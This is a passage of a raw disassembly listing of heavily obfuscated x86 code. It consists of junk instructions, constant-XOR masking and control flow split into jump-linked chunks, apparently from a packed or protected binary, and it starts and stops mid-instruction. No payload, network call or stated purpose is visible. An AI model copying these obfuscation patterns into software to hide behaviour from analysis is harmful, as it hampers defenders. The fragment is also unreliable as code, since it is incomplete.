[esp+0Ch+var_C] pop ecx add esp, 4 push 199Dh mov [esp+0Ch+var_C], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push eax jmp loc_5A4229 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A6277: ; CODE XREF: sub_5A6BBC+12j mov esi, esp add esi, 4 jmp loc_59D866 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5A6284: ; CODE XREF: sub_5AD243+Bj sub eax, ebp pop ebp sub eax, 30F8614Bh jo loc_59A63F jmp loc_5994C3 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A6297: ; CODE XREF: sub_59EE3E+97B7j shr ebx, 4 jnp loc_5AB442 add ebx, 1F06FFEAh jmp loc_5A05A1 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A62AB: ; CODE XREF: sub_5A2E28:loc_59A328j jmp loc_59D84F ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E325 loc_5A62B0: ; CODE XREF: sub_59E325+7452j xchg edi, [esp-4+arg_0] jmp loc_5AF499 ; END OF FUNCTION CHUNK FOR sub_59E325 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A62B8: ; CODE XREF: sub_5A0FFF+A01Cj mov ebp, 558469DAh not ebp jmp loc_5A4462 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; =============== S U B R O U T I N E ======================================= sub_5A62C4 proc near ; CODE XREF: sub_59C656+1122Dj var_8 = dword ptr -8 push ebx push ebp xor [esp+8+var_8], 59C36BE2h mov ebx, [esp+8+var_8] add esp, 4 xor ebx, 59C36BE2h jmp sub_59F967 sub_5A62C4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A62DE: ; CODE XREF: sub_5B01F7-1199Bj sub edx, 5A4F8761h mov ecx, edx pop edx jmp loc_5A6835 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A62EC: ; CODE XREF: sub_5A118F-2100j xchg cl, ah not cl xchg cl, ah xchg ah, dh jmp loc_5A9EA9 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A62F9: ; CODE XREF: sub_5992DA+3EF2j add edx, 4 xchg edx, [esp+24h+var_26+2] mov esp, [esp+24h+var_26+2] sub esp, 4 mov [esp+28h+var_2A+2], eax sub esp, 4 mov [esp+2Ch+var_2E+2], ebx push 2DACh mov [esp+30h+var_32+2], esi mov esi, 2A48175Fh jmp loc_5A8274 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF18F loc_5A6326: ; CODE XREF: sub_5AF18F+6j mov [esp+0], edi mov edi, esp add edi, 4 jmp loc_5A5CBF ; END OF FUNCTION CHUNK FOR sub_5AF18F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A6336: ; CODE XREF: sub_5A77D5-211Ej add edi, ebx jmp loc_5A0777 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; =============== S U B R O U T I N E ======================================= sub_5A633D proc near ; CODE XREF: sub_599A61+1496Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059A412 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B4B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059E73C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A2CEC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A3AF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A6FB7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AD0F1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AEDF4 SIZE 00000014 BYTES push ebp jmp loc_59E73C sub_5A633D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A6343: ; CODE XREF: sub_5AF294-EB4Ej shr ecx, 5 jnp loc_59928B neg ecx jz loc_5A3C6F xor ecx, 8AF4A4BFh jmp loc_59ABE4 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A635F: ; CODE XREF: sub_5AA2D1-B049j sub ecx, edi pop edi push ecx push [esp-4+arg_4] pop ecx pop [esp-4+arg_0] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], esi push edx mov edx, 618A59F5h mov esi, edx pop edx jmp loc_5AE7D2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A637F: ; CODE XREF: sub_5A0AA2-5B4Ej jmp loc_59CCAB ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A6384: ; CODE XREF: sub_5A6BBC-2B85j mov esp, [esp+0] movsx ecx, al push 6A9h mov [esp+0], ecx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A6397: ; CODE XREF: sub_5ADD33-9A0Cj mov esp, [esp+0] jmp loc_5A8B60 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A639F: ; CODE XREF: sub_59C979-2656j sub edx, ebp mov ebp, [esp+0Ah+var_A] jmp loc_5A8A19 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- lodsd sub eax, 5C8C2853h push 1981h mov [esp], ebp jmp loc_5A2EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A63BC: ; CODE XREF: sub_5AFA26-154DDj ; sub_59C979+2055j add ebp, ecx mov ecx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, dword ptr [esp+2+var_2] pop esp add eax, ebp mov ebp, [esp+0] jmp loc_5A31E6 ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_5A63DC proc near ; CODE XREF: sub_5A6BBC+38B4j ; sub_5992DA+14B05j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005991EB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BF9E SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059C12F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059C6D1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059C809 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059CA81 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059DEC6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059E65E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059E976 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005A01A7 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A07C9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A13D0 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 005A255B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A300C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A3C4D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A40AC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A474E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A529C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A54E4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A57BC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A683D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A80C6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AA257 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AADE9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AAE8F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB2D1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AB6B3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AB9F3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AC15F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AC6CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AD3DE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AD99E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AF26B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AFDA2 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], esi mov esi, esp sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 4 add esi, ebp mov ebp, [esp+8+var_8] add esp, 4 push edi mov edi, 4 add esi, edi pop edi push esi push [esp+8+var_4] pop esi pop [esp+8+var_8] mov esp, [esp+4+var_4] push 2F92h jmp loc_5A683D sub_5A63DC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6419: ; CODE XREF: sub_5AA2D1-870Cj mov edi, [esp+0Ah+var_C+2] add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] push ecx mov ecx, esp jmp sub_59B442 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A643C: ; CODE XREF: sdfs____:005A1C08j jmp loc_5A6DE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6441: ; CODE XREF: sub_59D6B8+70B8j jno loc_5AEF0C or edx, 3F6E7796h ja loc_5AAAF1 mov ah, dl pop ebx loc_5A6456: ; CODE XREF: sub_5A35F6+5AEBj ja loc_59DC72 push 7C41h jmp loc_5A8ACE ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- jmp loc_59CC3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E58 loc_5A646B: ; CODE XREF: sub_599E58+F2ACj push cx pushf jmp loc_5AB0C5 ; END OF FUNCTION CHUNK FOR sub_599E58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6473: ; CODE XREF: sub_59D6B8+8E43j mov eax, [esp+14h+var_14] jmp loc_59B9A7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5A647B: ; CODE XREF: sub_59DD36+B60Aj push edx mov edx, 521C4903h and ebx, edx pop edx jmp loc_5A4F05 ; END OF FUNCTION CHUNK FOR sub_59DD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6489: ; CODE XREF: sub_59D6B8-1D90j mov edx, ecx mov ecx, [esp+0] push ebp jmp loc_5AE6DB ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A6494 proc near ; CODE XREF: sub_59BE17+8846j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005A181A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AAC98 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AADA4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AC6DB SIZE 00000014 BYTES push ebp mov ebp, 4DAA6A0Bh mov edx, ebp pop ebp not edx shr edx, 2 jmp loc_5AAC98 sub_5A6494 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A64A7: ; CODE XREF: sub_59D6B8+7D79j pop eax add edi, ebx pop ebx add ecx, 6E231C84h add ecx, edi sub ecx, 6E231C84h jmp loc_59CE7C ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A64BE: ; CODE XREF: sub_5AA2D1-7A93j xor esi, 0B2CC54B5h jmp loc_5A4385 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A64C9: ; CODE XREF: sub_5A477C-6E2Dj push edi push esi pop edi mov esi, [esp+0] add esp, 4 inc edi sub edi, 1 add edi, 6A276D03h and edi, 6F4E6CB1h jmp loc_5A7A01 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE824 loc_5A64E7: ; CODE XREF: sub_5AE824+894j add esp, 4 jmp loc_5A403C ; END OF FUNCTION CHUNK FOR sub_5AE824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A64F2: ; CODE XREF: sub_59D6B8+929Dj neg eax add eax, 3B42DE6Dh mov ecx, eax jmp loc_5A6473 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A6500: ; CODE XREF: sub_59EE3E-346Aj add ax, 2A0Bh jmp loc_5A2B98 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3BFE loc_5A6509: ; CODE XREF: sub_5A3BFE+6j push edi mov edi, 0 sub edi, ebx push ebx push edi pop ebx jmp loc_5A35AE ; END OF FUNCTION CHUNK FOR sub_5A3BFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6519: ; CODE XREF: sub_5AA2D1-B329j pop edx push 1 jmp loc_599A04 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6524: ; CODE XREF: sub_5992DA+9DAj mov ebp, eax pop eax add edx, 12765C9Eh add edx, ebp jmp loc_59C68E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6534: ; CODE XREF: sub_5A477C+7251j ; sub_5AA2D1+23EBj pop ebp xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] jmp loc_59CB50 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_5A6546: ; CODE XREF: sub_5AE40A-674Bj pop edx add ebp, 4 xchg ebp, [esp+8+var_8] pop esp xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] pop esp push dword ptr [edi+eax*4] mov eax, [esp+4+var_4] push 287Dh mov [esp+8+var_8], ecx jmp sub_5A5EFF ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A656E: ; CODE XREF: sub_5A580F-4F6Ej and eax, 9170D9Eh jg loc_59FF64 xor eax, 43BD296Fh dec eax jz loc_5B0152 mov ah, 0C0h ; END OF FUNCTION CHUNK FOR sub_5A580F ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6587: ; CODE XREF: sub_5AA2D1-109E2j pop ecx sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp jmp loc_5A9BD1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A6595: ; CODE XREF: sub_5A6BBC-3BF9j push [esp+4+var_4] pop eax push edx jmp loc_5ABD29 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A659F: ; CODE XREF: sub_5A2E41-9269j pop ebx jmp sub_5A9D64 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5A65A5: ; CODE XREF: sub_5A809B+53B8j mov eax, 2 add ecx, eax pop eax push ecx jmp loc_59FE9E ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A65B3: ; CODE XREF: sub_5A16B8-8370j mov ecx, 4 jmp loc_5A44CC ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5A65BD: ; CODE XREF: sub_5A5B27+28D3j sub eax, 0DD5DADCAh mov esi, eax pop eax sub esi, 0FFFFFFFFh or esi, 30317FB9h jmp sub_5A3699 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; =============== S U B R O U T I N E ======================================= sub_5A65D3 proc near ; DATA XREF: sdfs____:00599094o var_8 = dword ptr -8 mov ax, [esp+0] push ebx push esp mov ebx, [esp+8+var_8] add esp, 4 push esi mov esi, 7B5E1D77h jmp loc_5A261B sub_5A65D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A65ED: ; CODE XREF: sub_5992DA+10A85j pop edx xor bl, 0F5h xor ch, bl jmp loc_5A991E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A65F8: ; CODE XREF: sub_5B01F7-83EFj dec ebx jg loc_5AD8A9 not ebx push ebp mov ebp, 0CE62EF1h shl ebp, 8 shr ebp, 8 xor ebp, 608C1B53h and ebp, 6BF03B86h sub ebp, 6D236EE1h add ebx, ebp jmp loc_59D002 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A6626: ; CODE XREF: sub_5A9EBF-2116j ; sub_5A9D64-CA0j jmp loc_5AFDD7 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A662B: ; CODE XREF: sub_5A79BE+45Bj jle loc_5AE436 xor esi, 4C251592h jge loc_5A821B shr esi, 3 jnz loc_59DA02 mov esi, ebp pop edx ; END OF FUNCTION CHUNK FOR sub_5A79BE ; =============== S U B R O U T I N E ======================================= sub_5A6649 proc near ; CODE XREF: sub_5A9D64-2F08j var_4 = dword ptr -4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp shl eax, 6 sub eax, 1 jmp sub_59CC30 sub_5A6649 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A6666: ; CODE XREF: sub_5AE29C-9231j add eax, 6792FF42h sub ebp, 0D8D7323h jmp loc_5A1E29 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6676: ; CODE XREF: sub_5AA2D1-1E3Dj mov esi, 63CC57B9h shr esi, 8 shl esi, 5 neg esi shr esi, 2 push edi mov edi, 16EE4D24h jmp loc_5A704B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6691: ; CODE XREF: sub_5A9D64-77D0j ; sub_5B01F7-A6A0j ... add ecx, esi sub ecx, 5FF37664h sub ecx, 56EC4E73h jmp loc_5A4D15 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A66A4: ; CODE XREF: sub_5AA2D1-10C25j push [esp-18h+arg_14] jmp loc_5AB95F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5A66AC: ; CODE XREF: sub_5AA2D1-E8E4j ; sub_5A3B60+8DC2j mov ecx, 0 jmp loc_59929D ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A66B6: ; CODE XREF: sub_59DB82+9FE9j pop [esp-4+arg_0] pop esp jmp loc_5A0FF2 ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A66BF: ; CODE XREF: sub_5992DA+A251j mov [esp+2Eh+var_2E], eax mov eax, 7EF42054h push esi mov esi, 99636BCh and eax, esi pop esi push ecx jmp loc_5ADDB8 ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5A66D6 proc near ; CODE XREF: sub_5A2166+1A14j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005A0B29 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AC09F SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005AC286 SIZE 0000000B BYTES sub esp, 4 jmp loc_5A0B29 sub_5A66D6 endp ; =============== S U B R O U T I N E ======================================= sub_5A66E1 proc near ; DATA XREF: sdfs____:00599050o mov ax, [esp+0] jmp sub_5A7762 sub_5A66E1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5A66EA: ; CODE XREF: sub_5AD213-5Dj mov esp, [esp+8+var_8] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A66F2: ; CODE XREF: sub_5ABEF6-671Bj mov ebp, 7B667646h xor eax, ebp jmp loc_5AA18B ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B196 loc_5A66FE: ; CODE XREF: sub_59B196+10D09j add esi, 1 push edx jmp sub_59C2B8 ; END OF FUNCTION CHUNK FOR sub_59B196 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A670A: ; CODE XREF: sub_5AA2D1-2B2Aj push 155Fh mov [esp-10h+arg_C], ecx push esi jmp loc_59F9EC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A6718: ; CODE XREF: sub_5ADAE7-13631j ; sub_5A477C:loc_5A1BB6j xor edi, 12E524C4h shr edi, 5 add edi, 2FE43820h push edi pop edx pop edi sub edx, 60642CB0h jno loc_5AEBD7 xor edx, 17654B03h jo loc_5AB442 xor al, 91h push esp ; END OF FUNCTION CHUNK FOR sub_5A477C ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6745: ; CODE XREF: sub_59D6B8+48BDj add ebx, 4 jmp loc_5ABFC0 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A6750: ; CODE XREF: sub_59C979+2j mov bh, 0EFh push 2AABh jmp loc_5ADF64 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A675C: ; CODE XREF: sub_599A61+9527j not edx add edx, 10A15693h jz loc_59EB44 shl edx, 2 jns loc_59F12E jmp loc_5A39A0 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- loc_5A6778: ; CODE XREF: sdfs____:005ACB63j push edx mov edx, 62F07AA1h jmp loc_5A7D8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A6783: ; CODE XREF: sub_5A7BA0+71FEj mov [esp+0], edi jmp sub_59CC21 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A678B: ; CODE XREF: sub_5AA2D1:loc_5A5DD1j sub dl, 0CDh add dl, 56h push dx mov dl, 1Fh sub al, dl jmp loc_5A28D5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A679C: ; CODE XREF: sdfs____:0059BEA2j xchg ebp, [esp] pop esp jmp loc_5AEDA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06C1 loc_5A67A5: ; CODE XREF: sub_5A06C1-169j add ebp, 4 push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp+10h+var_10] pop esp xor edi, esi mov esi, [esp+0Ch+var_C] jmp loc_5AE9D3 ; END OF FUNCTION CHUNK FOR sub_5A06C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A67C2: ; CODE XREF: sub_5992DA+B28Cj pop eax push esi mov esi, 3C6D0D77h add eax, esi mov esi, [esp-4+arg_0] add esp, 4 push [esp-8+arg_4] jmp loc_5A5F84 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A67D9: ; CODE XREF: sub_59C979+118D7j jnb sub_5A6BBC sub esp, 2 mov word ptr [esp+4+var_6+2], cx not byte ptr [esp+4+var_6+2] mov dl, 0Dh ; END OF FUNCTION CHUNK FOR sub_59C979 ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A67EE: ; CODE XREF: sub_59D6B8+8602j push 5A70h mov [esp+0Ch+var_C], ebx push ecx mov ebx, [esp+10h+var_10] add esp, 4 sub esp, 4 mov [esp+10h+var_10], edx mov edx, 24h jmp loc_5A0E5B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A6810: ; CODE XREF: sub_59F4D2+D8B6j pop esi sub eax, ecx mov ecx, [esp+8+var_8] jmp loc_59DE59 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAFCA loc_5A681B: ; CODE XREF: sub_5AAFCA+8j shr dl, 3 jmp loc_5A4DD2 ; END OF FUNCTION CHUNK FOR sub_5AAFCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A6823: ; CODE XREF: sub_59C979+F62Fj xor ecx, 6FA0062Bh push edi mov edi, 5F9175E2h inc edi jmp loc_5A6F05 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A6835: ; CODE XREF: sub_5B01F7-9F10j xor ecx, ebp pop ebp jmp loc_59B519 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A683D: ; CODE XREF: sub_5A63DC+38j mov [esp+0], ebp push edx push ecx mov ecx, 75503106h push ecx mov edx, [esp+0Ch+var_C] add esp, 4 push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] jmp loc_5A13D0 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A6859: ; CODE XREF: sub_59C979+465j xor bp, dx xor dx, bp push bp jmp sub_599664 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A6866: ; CODE XREF: sub_59A7E7+1277Aj pop ebx xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] sub bl, al push ecx jmp loc_5A4BF9 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BAD3 loc_5A6875: ; CODE XREF: sub_59BAD3-284Dj pop esp jmp loc_59C86E ; END OF FUNCTION CHUNK FOR sub_59BAD3 ; =============== S U B R O U T I N E ======================================= sub_5A687B proc near ; DATA XREF: sdfs____:0059907Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B6B0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AA03C SIZE 00000021 BYTES mov cx, [esp+0] push 35Dh mov [esp+4+var_4], eax mov eax, esp jmp loc_59B6B0 sub_5A687B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A688E: ; CODE XREF: sub_5A5EFF-87D1j neg edx sub esp, 4 jmp loc_59F87A ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6898: ; CODE XREF: sub_5AA2D1-EF3Bj ; sub_59D6B8:loc_59BB9Dj shl ebx, 